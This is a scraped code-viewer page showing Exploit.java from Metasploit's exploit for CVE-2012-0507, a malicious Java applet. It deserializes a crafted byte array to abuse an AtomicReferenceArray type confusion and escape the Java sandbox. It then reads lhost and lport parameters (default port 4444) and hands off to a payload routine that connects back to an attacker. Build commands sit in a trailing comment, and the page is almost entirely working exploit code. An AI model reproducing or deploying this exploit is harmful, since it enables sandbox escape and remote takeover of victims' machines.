Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2012-0507/msf/x/Exploit.java
Views: 11789
package msf.x;12import java.applet.Applet;3import java.io.ByteArrayInputStream;4import java.io.ObjectInputStream;5import java.util.concurrent.atomic.AtomicReferenceArray;67public class Exploit extends Applet8{9public Exploit() {}1011public void init()12{13try14{15byte[] buf = new byte[] {16-84,-19,0,5,117,114,0,19,91,76,106,97,118,97,46,108,97,110,103,46,79,98,106,17101,99,116,59,-112,-50,88,-97,16,115,41,108,2,0,0,120,112,0,0,0,2,117,114,0,1813,91,76,109,115,102,46,120,46,72,101,108,112,59,-2,44,-108,17,-120,-74,-27,19-1,2,0,0,120,112,0,0,0,1,112,115,114,0,48,106,97,118,97,46,117,116,105,108,2046,99,111,110,99,117,114,114,101,110,116,46,97,116,111,109,105,99,46,65,116,21111,109,105,99,82,101,102,101,114,101,110,99,101,65,114,114,97,121,-87,-46,22-34,-95,-66,101,96,12,2,0,1,91,0,5,97,114,114,97,121,116,0,19,91,76,106,97,23118,97,47,108,97,110,103,47,79,98,106,101,99,116,59,120,112,113,0,126,0,324};2526ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(buf));27Object aobj[] = (Object[])objectinputstream.readObject();28Help ahelp[] = (Help[]) aobj[0];2930AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray) aobj[1];31ClassLoader classloader = getClass().getClassLoader();32atomicreferencearray.set(0, classloader);33Help _tmp = ahelp[0];3435String data = getParameter( "data" );36String jar = getParameter( "jar" );37String lhost = getParameter( "lhost" );38String lport = getParameter( "lport" );3940Help.doWork(ahelp[0], this, data, jar, lhost, ( lport == null ? 4444 : Integer.parseInt( lport ) ));41}42catch(Exception exception) {43//System.out.println(exception.getMessage());44}45}46}4748/*49javac -d bin msf/x/*.java50cd bin51jar cvf ../CVE-2012-0507.jar msf/x/*.class52*/5354